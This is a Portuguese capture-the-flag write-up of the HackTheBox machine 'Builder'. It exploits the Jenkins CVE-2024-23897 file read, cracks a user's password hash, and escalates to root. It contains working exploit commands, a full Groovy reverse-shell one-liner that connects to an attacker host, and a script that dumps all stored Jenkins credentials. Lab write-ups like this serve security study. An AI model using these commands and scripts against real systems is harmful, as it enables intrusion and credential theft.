HackTheBox - Writeup Builder [Retired]
Tags: hackthebox, cybersecurity, jenkins, groovy
Published: 2024-02-21 22:07:40

### Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium que aborda as seguintes vulnerabilidades e técnicas de exploração
- **CVE-2024-23897** (Jenkins Arbitrary File Read)
- **Sensitive Data Exposure**

#### Recon e user flag

Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# nmap -sV --open -Pn 10.129.220.88
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-13 12:15 EST
Nmap scan report for 10.129.220.88
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Jetty 10.0.18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.

Ao acessar a porta 8080 pelo navegador temos a seguinte página:

![Welcome Jenkins](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ujjw8ffascb7ce16xj05.png)

Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação focada no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.

Podemos notar que ser precisar de um usuário conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).
Também podemos listar os usuários, que no caso temos somente o usuário **jennifer**:

![Users](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vkq1t49rrwmk9efkrhlz.png)

Também conseguimos listar as credenciais:

![Credentials](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4nnx65tw2bqvpoite3jk.png)

Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:

![Rest API](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xpxm96ebnoao0ewefevd.png)

Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a [CVE-2024-23897](https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897) que se trata de um **Arbitrary File Read** na versão 2.441 e anteriores.

Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Uma lib chamada **args4j** é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter **@** seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.

No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.
Vamos realizar o download da seguinte forma:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
--2024-02-13 12:20:57--  http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.129.220.88:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar                          100%[=================================================================================>]   3.46M   547KB/s    in 8.6s    

2024-02-13 12:21:06 (413 KB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]

```

Para explorar a vulnerabilidade executamos o seguinte comando:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/etc/passwd" | cut -d '\No' -f1
cut: the delimiter must be a single character
Try 'cut --help' for more information.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.
```

Conseguimos o retorno do **/etc/passwd**, podemos colocar o resultado em um arquivo para filtrar a saída:

```
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' passwd                      
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: 
root:x:0:0:root:/root:/bin/bash: 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: 
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: 
bin:x:2:2:bin:/bin:/usr/sbin/nologin: 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: 
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: 
games:x:5:60:games:/usr/games:/usr/sbin/nologin: 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: 
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

Podemos notar que existem dois usuários, **root** e **jenkins**. A home do root é** /root e a home do usuário jenkins é **/var/jenkins_home**.

Com isso conseguimos buscar a user flag:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/var/jenkins_home/user.txt"          

ERROR: No such agent "aea470ff3badab8504db49aa7e1d9e34" exists.

```

#### Escalação de privilégios e root flag

Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o **/var/jenkins_home/users/users.xml** que possui informações de usuários do jenkins:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/var/jenkins_home/users/users.xml"

<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.
```

Iremos adicionar o resultado em um arquivo para uma melhor leitura:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' users.xml 
<?xml version='1.1' encoding='UTF-8'?>: 
      <string>jennifer_12108429903186576833</string>: 
  <idToDirectoryNameMap class="concurrent-hash-map">: 
    <entry>: 
      <string>jennifer</string>: 
  <version>1</version>: 
</hudson.model.UserIdMapper>: 
  </idToDirectoryNameMap>: 
<hudson.model.UserIdMapper>: 
    </entry>: 

```

Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: **jennifer_12108429903186576833**

Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
...
```

Conseguimos visualizar melhor filtrando em um arquivo:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' jennifer-config.xml 
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: 
    <hudson.search.UserSearchProperty>: 
      <roles>: 
    <jenkins.security.seed.UserSeedProperty>: 
      </tokenStore>: 
    </hudson.search.UserSearchProperty>: 
      <timeZoneName></timeZoneName>: 
  <properties>: 
    <jenkins.security.LastGrantedAuthoritiesProperty>: 
      <flags/>: 
    <hudson.model.MyViewsProperty>: 
</user>: 
    </jenkins.security.ApiTokenProperty>: 
      <views>: 
        <string>authenticated</string>: 
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: 
<user>: 
          <name>all</name>: 
  <description></description>: 
      <emailAddress>jennifer@builder.htb</emailAddress>: 
      <collapsed/>: 
    </jenkins.security.seed.UserSeedProperty>: 
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: 
    </hudson.model.MyViewsProperty>: 
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: 
          <filterQueue>false</filterQueue>: 
    <jenkins.security.ApiTokenProperty>: 
      <primaryViewName></primaryViewName>: 
      </views>: 
    </hudson.model.TimeZoneProperty>: 
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: 
    </hudson.model.PaneStatusProperties>: 
    </hudson.tasks.Mailer_-UserProperty>: 
        <tokenList/>: 
    <jenkins.console.ConsoleUrlProviderUserProperty/>: 
        </hudson.model.AllView>: 
      <timestamp>1707318554385</timestamp>: 
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>: 
  </properties>: 
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: 
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: 
    <hudson.security.HudsonPrivateSecurityRealm_-Details>: 
      <insensitiveSearch>true</insensitiveSearch>: 
          <properties class="hudson.model.View$PropertyList"/>: 
    <hudson.model.TimeZoneProperty>: 
        <hudson.model.AllView>: 
    </hudson.security.HudsonPrivateSecurityRealm_-Details>: 
      <providerId>default</providerId>: 
      </roles>: 
    </jenkins.security.LastGrantedAuthoritiesProperty>: 
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: 
    <hudson.model.PaneStatusProperties>: 
<?xml version='1.1' encoding='UTF-8'?>: 
  <fullName>jennifer</fullName>: 
      <seed>6841d11dc1de101d</seed>: 
  <id>jennifer</id>: 
  <version>10</version>: 
      <tokenStore>: 
          <filterExecutors>false</filterExecutors>: 
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: 
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: 
```

E assim conseguimos o email `jennifer@builder.htb` e a hash da senha do usuário `$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a`

Vamos utilizar o john the ripper para quebrar essa hash:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# john -w=/usr/share/wordlists/rockyou.txt jennifer-hash                                                                   
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (?)     
1g 0:00:00:00 DONE (2024-02-14 17:12) 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

Conseguimos a senha do usuário **jennifer**, agora podemos logar na interface do jenkins:

![Logged](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vbw5hzon23pfi6osyei6.png)

O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:

![Script Console](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2yotpth8d6j7bpcl66ao.png)

Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:

```bash
String host='10.10.16.25'; int port=4444; String cmd='bash'; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

Dessa forma vamos conseguir acesso somente como o usuário jenkins.
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:

```bash
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl

def showRow = { credentialType, secretId, username = null, password = null, description = null ->
println("${credentialType} : ".padLeft(20) + secretId?.padRight(38)+" | " +username?.padRight(20)+" | " +password?.padRight(40) + " | " +description)
}

// set Credentials domain name (null means is it global)
domainName = null

credentialsStore = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]?.getStore()
domain = new Domain(domainName, null, Collections.<DomainSpecification>emptyList())

credentialsStore?.getCredentials(domain).each{
if(it instanceof UsernamePasswordCredentialsImpl)
showRow("user/password", it.id, it.username, it.password?.getPlainText(), it.description)
else if(it instanceof BasicSSHUserPrivateKey)
showRow("ssh priv key", it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description)
else if(it instanceof StringCredentials)
showRow("secret text", it.id, it.secret?.getPlainText(), '', it.description)
else if(it instanceof FileCredentialsImpl)
showRow("secret file", it.id, it.content?.text, '', it.description)
else
showRow("something else", it.id, '', '', '')
}

return
```

E assim temos uma chave privada:

![Private Key](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6gheyxqjrmagfvhpaf0s.png)

Vamos salvar o conteúdo em um arquivo chamado **id_rsa_root** e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# chmod 600 id_rsa_root
```

Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# ssh -i id_rsa_root root@10.129.244.76
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed Feb 14 10:50:05 PM UTC 2024

  System load:              0.2177734375
  Usage of /:               66.0% of 5.81GB
  Memory usage:             33%
  Swap usage:               0%
  Processes:                247
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.129.244.76
  IPv6 address for eth0:    dead:beef::250:56ff:fe96:9588


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
```

E assim conseguimos a root flag:

```bash
root@builder:~# ls -alh
total 32K
drwx------  5 root root 4.0K Feb 14 22:47 .
drwxr-xr-x 18 root root 4.0K Feb  9 15:45 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Oct 15  2021 .bashrc
drwx------  2 root root 4.0K Apr 27  2023 .cache
drwxr-xr-x  3 root root 4.0K Apr 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Feb 14 22:47 root.txt
drwx------  2 root root 4.0K Feb  8 11:24 .ssh
root@builder:~# cat root.txt 
229275386e7300b9ad9425a630fa815c
```

Finalizando a máquina Builder !

![Pwned](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/alc7w61dbknlfduptr8x.png)